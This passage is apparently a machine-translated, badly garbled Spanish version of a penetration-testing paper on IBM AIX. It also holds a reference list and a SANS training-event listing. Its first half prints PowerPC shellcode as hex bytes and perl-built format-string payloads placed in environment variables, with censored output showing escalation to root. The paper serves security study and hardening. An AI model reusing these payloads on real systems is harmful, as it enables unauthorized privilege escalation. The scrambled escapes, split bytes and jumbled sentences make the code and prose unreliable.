[email protected] $! / censurado! bashB4. BindShell no es buena opción porque las llamadas al sistema son únicos en diferentes versiones de AIX menores (Offensive Security. El más fácil de usar y fácil modificación shellcode es el siguiente: Cambiar el / Bin / ksh cadena a / Tmp / csh y la / Tmp / csh será un simple script de shell. % P" x16'`'a! $ !! / Censored2'`perl '* e''print' $! Identificación! **** **** CENSURADO SALIDA! uid = 202 (profundidad)! gid = 1 (personal)! egid = 20202 (usuario1)! . 2001). La sección de desbordamiento de búfer trae la BrwsrBsrBx !!!! 1 profundidad !!!! usuario1 !!!!!!! 290.0. La construcción de la cadena de formato adecuado y poner el código shell en un resultados variables de entorno en privilegios de root: $! / Cendored2'`perl '* e''print' "X".10001f38.0.AIX para pruebas de penetración! 18 ! XDE \ xfe \ x1d \ x7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x20 \ x4c \ XC6 \ x33 \ x42 \ x44 \ xff \ xff \ x02 \ X3B \ xd e \ xff \ XF8 \ X3B \ xa0 \ x07 \ xff \ X7c \ xa5 \ X2a \ x78 \ x38 \ x9d \ XF8 \ x02 \ x38 \ x7d \ XF8 \ x03 \ x38 \ X5D \ XF8 \ xf4 \ x7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x21 \ X7c \ X7c \ X1B \ x78 \ x38 \ XBD \ XF8 \ x11 \ x3f \ x60 \ xf f \ x02 \ x63 \ X7b \ x11 \ X5c \ x97 \ xe1 \ xff \ xfc \ x97 \ x61 \ xff \ xfc \ X7c \ x24 \ x0b \ x78 \ x38 \ X5D \ XF8 \ x f3 \ x7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x21 \ X7c \ x84 \ x22 \ x78 \ x7F \ x83 \ XE3 \ x78 \ x38 \ X5D \ XF8 \ xf1 \ X7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x21 \ X7c \ xa5 \ X2a \ x78 \ X7c \ x84 \ x22 \ x78 \ x7F \ x83 \ XE3 \ x78 \ x38 \ X5D \ XF8 \ xee \ x7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x21 \ X7c \ X7a \ X1B \ x78 \ X3B \ X3D \ XF8 \ x03 \ x 7f \ x23 \ xcb \ x78 \ x38 \ X5D \ xf9 \ x17 \ x7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x21 \ x7F \ x25 \ xcb \ x78 \ x7 c \ x84 \ x22 \ x78 \ x7F \ x43 \ XD3 \ x78 \ x38 \ X5D \ xfa \ x93 \ x7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x21 \ x37 \ X39 \ xff \ xff \ x40 \ x80 \ xff \ xd4 \ X7c \ xa5 \ X2a \ x79 \ x40 \ x82 \ xff \ xfd \ x7F \ x08 \ x02 \ xa6 \ X3B \ x1 8 \ x01 \ xff \ x38 \ x78 \ xfe \ x29 \ x98 \ XB8 \ xfe \ x31 \ x94 \ XA1 \ xff \ xfc \ x94 \ x61 \ xff \ xfc \ X7c \ x24 \ x0 b \ x78 \ x38 \ X5D \ XF8 \ x08 \ x7F \ XC9 \ x03 \ xa6 \ x4e \ x80 \ x04 \ x21 \ x2f \ x74 \ X6D \ x70 \ x2f \ x63 \ x73 Figure'15.20000928.f032. '*' Alternative'exploitation'technique ' \ x68 "'` bashB4.2 $! '* al'en ls /eltmp / user1_sh !! vulnerabilidades censored2 binario. La implementación de la común explotar método me llevó a darme cuenta de que el acceso parámetros directos no funciona (Scut / equipo teso. "\ x2f \ xf2 \ x1a \ x28".20003b60.0.0.20000928.! Figure'16. "\ x2f \ xf2 \ x1a \ X2a". '*' Possible'format'string'attack ! Este parece ser típico de la vulnerabilidad de formato de cadena. "% x" x74 ".0.1d.2442822 0.2 / censurado! encontrar explotable bashB4.com .2 $! / tmp / user1_sh !! ".2f950.822 noviembre 06 14:!!!!! 29 / tmp / user1_sh! solución: bashB4. "\ x2f \ xf2 \ x19 \ x6c" '` La $! mitad de la escalada de privilegios está hecho.
[email protected]. \ xd1 \ X4D \ XF8 \ xa8" x3. Utilizar la metodología para bashB4. "AAAA".2ff22be0.822 noviembre 06 16:!!!!! 43 / tmp / user2_sh! Zoltan Pánczél.2ff22ffc. x4 "E".2 $! exportación CENSORED_ENV = `perl -e 'print "\ Xd1 \ X4D \ XF8 \ xa8" x262 ".% 11922x% hn % 60909x% hn "'`' a! **** CENSURADO! **** SALIDA! $! '* Al' ls / tmp / user2_sh !! BrwsrBsrBx !!!! 1 raíz !!! usuario1 !!!!!!! 290. Este metodología sólo describe las técnicas rápidas y utilizables. El endurecimiento complementado por pruebas de penetración profesional es la forma correcta de hacerlo seguridad. Los auditores pueden hacer sus propios scripts de detección de la vulnerabilidad para disminuir el tiempo de la investigación sobre la base de esta metodología. Las características y guías de endurecimiento mencionados puede aumentar el nivel de seguridad local del sistema operativo. 2010.5. documentación para desarrolladores y páginas de manual. Los pasos de prueba sugeridas son la recopilación de información. Conclusión ! Pruebas de penetración profesionales deben adaptarse al sistema operativo que se probaron. el sistema central. señal o archivo formato fuzzing. incluidas las llamadas al sistema. Los administradores de sistemas y auditores pueden aplicar soluciones de endurecimiento útiles a partir de la proveedor (IBM Corporation. xx). explotación de la operación errores. p. Hay muchos otros conceptos de evaluación de la vulnerabilidad por valor de la investigación.AIX para pruebas de penetración! 19 ! 2. finalmente. Zoltan Pánczél.com . 2014). panczelz@gmail. Hay una aplicación segura de la AIX sistema llamado Trusted AIX (IBM. Esta metodología define los puntos vulnerables de la zona clave del sistema AIX. Información valiosa y las grandes ideas se esconden en las guías del sistema. verificación tercero software de otros fabricantes y. wikipedia. 22 de agosto).).ibm. Obtenido de http://www.d. la enciclopedia libre. (N. (2004.
[email protected]/secure-programs/SecureProgramas-HOWTO / Equipo de FreeBSD.tue. Obtenido de http://www.AIX para pruebas de penetración! 20 ! Referencias Andries Brouwer. (N.offensive-security.".pdf IBM Corporation. Pila Ejecución protección Deshabilitar.cgi? name = CVE-2004-1329 Seguridad Ofensiva. 06 de enero). Exploit Database. (2010). CVE-2004-1329.aix.dwheeler. Austin: soporte de IBM Técnica Internacional Organización. Obtenido de IBM Corporation página web: http: // www01. 11 de febrero).com .org/cgibin / cvename.mitre.com/support/knowledgecenter/ssw_aix_71/com.win. Los hackers Hut. desde http://en. (2003. FreeBSD Manual de formatos de archivo. Diversión con AIX Shellcode y Metasploit.com/search/?action=search&filter_page=1&filter_description=aix&filter_expl oit_text = & = & filter_author filter_platform = 0 & filter_type = 0 & filter_lang_id = 0 & filt er_port = & filter_osvdb = & filter_cve = Zoltan Pánczél. (2003). 01 de abril). a partir de http: //www.0-RELEASE IBM AIX.htm Matsubara. Wheeler. (2012."SG24-5674-01. Keigo.html David A.org/wiki/IBM_AIX IBM Corporation. Consultado el 11 de noviembre 2014. . (2014).ibm.).ibm.security/security_ pdf.com/vulndev/aix-shellcodeMetasploit / Seguridad Ofensiva. (2005.freebsd.d. Desarrollar y portar C y las aplicaciones de C ++ en AIX: "De junio de 2003. Obtenido de http://www. (1996. Programación Secure para Linux y Unix COMO. En Wikipedia.ibm.org/cgi/man.nl/~aeb/linux/hh/hh. Obtenido de http: // www01.exploitdb.". Obtenido de http://cve.aix.cgi?query=rhosts&sektion=5&manpath=FreeBS D + 5. Consultado el 11 de noviembre 2014. MITRE. Obtenido de http://www.security/stack_ex ec_disable.1: Seguridad. AIX Versión 7.com/support/knowledgecenter/ssw_aix_71/com. 20 de noviembre). AIX PowerPC paso desbordamiento de búfer a paso. 27 de Febrero).exploit-db.org.org). 13 de agosto).xfocus.org/documents/200408/5.com/wpcontent / themes / explotación / docs / 24553.com . (2011). Obtenido de http://www.edu/cs155/papers/formatstring-1. Fin de los vínculos: Explotación enlazador.nth-dimension. De escritura a arraigar en AIX [Un estudio de caso]. La explotación de vulnerabilidades de cadena de formato (1.2.html Scut teso / equipo.stanford.AIX para pruebas de penetración! 21 ! San (san_at_xfocus.pdf Silencioso Señal LLC. panczelz@gmail. (2013. (2001). (2004. Obtenido de http://www. Obtenido de https://crypto.uk/ ! Zoltan Pánczél.2). Obtenido de http://www.pdf Tim Brown. NO 23 marzo 2015 hasta 28 marzo 2015 Evento en vivo SANS Houston 2015 Houston. FLUS 22 febrero 2015-2 marzo 2015 Evento en vivo SANS Munich 2015 Munich. DE 23 febrero 2015-7 marzo 2015 Evento en vivo SANS Secure India 2015 Bangalore. azus 16 feb 2015 hasta 21 feb 2015 Evento en vivo Cumbre 10a ICS Anual de Seguridad Orlando. SE 23 marzo 2015 hasta 28 marzo 2015 Evento en vivo SANS Oslo 2015 Oslo. DCU 2 febrero 2015-9 febrero 2015 Evento en vivo SANS Scottsdale 2015 Scottsdale. AE 31 enero 2015-5 febrero 2015 Evento en vivo Amenaza cibernética Cumbre y capacitación de Inteligencia Washington. Txus 23 marzo 2015 hasta 28 marzo 2015 Evento en vivo SANS 2015 Orlando. Vaus 9 marzo 2015 a 14 marzo 2015 Evento en vivo SANS Abu Dhabi 2015 Abu Dhabi. CAUS 23 febrero 2015 a 28 febrero 2015 Evento en vivo SANS Ciber Guardián 2015 Baltimore. AU 16 marzo 2015 a 28 marzo 2015 Evento en vivo SANS Estocolmo 2015 Estocolmo. BE 26 enero 2015 hasta 31 enero 2015 Evento en vivo SANS Dubai 2015 Dubai. de MDUS 2 marzo 2015 hasta 7 marzo 2015 Evento en vivo SANS Secure Singapur 2015 Singapore. SG 9 marzo 2015 hasta 21 marzo 2015 Evento en vivo SANS Virginia del Norte 2015 Reston. AE 14 marzo 2015 hasta 19 marzo 2015 Evento en vivo SANS Secure Canberra 2015 Canberra. IN 23 febrero 2015-7 marzo 2015 Evento en vivo SANS DFIR Monterrey 2015 Monterey.Última actualización: 12 de enero 2015 Próximos SANS Formación Haga clic aquí para una lista completa de todos los SANS Eventos Próximos por Ubicación SANS Bruselas 2015 Bruselas. FLUS 11 abril 2015 hasta 18 abril 2015 Evento en vivo SANS Security Oriente 2015 OnlineLAUS 16 en 2015 a 21 en 2015 Evento en vivo SANS OnDemand Libros y MP3s onlyUS En cualquier momento Tu espacio personal de .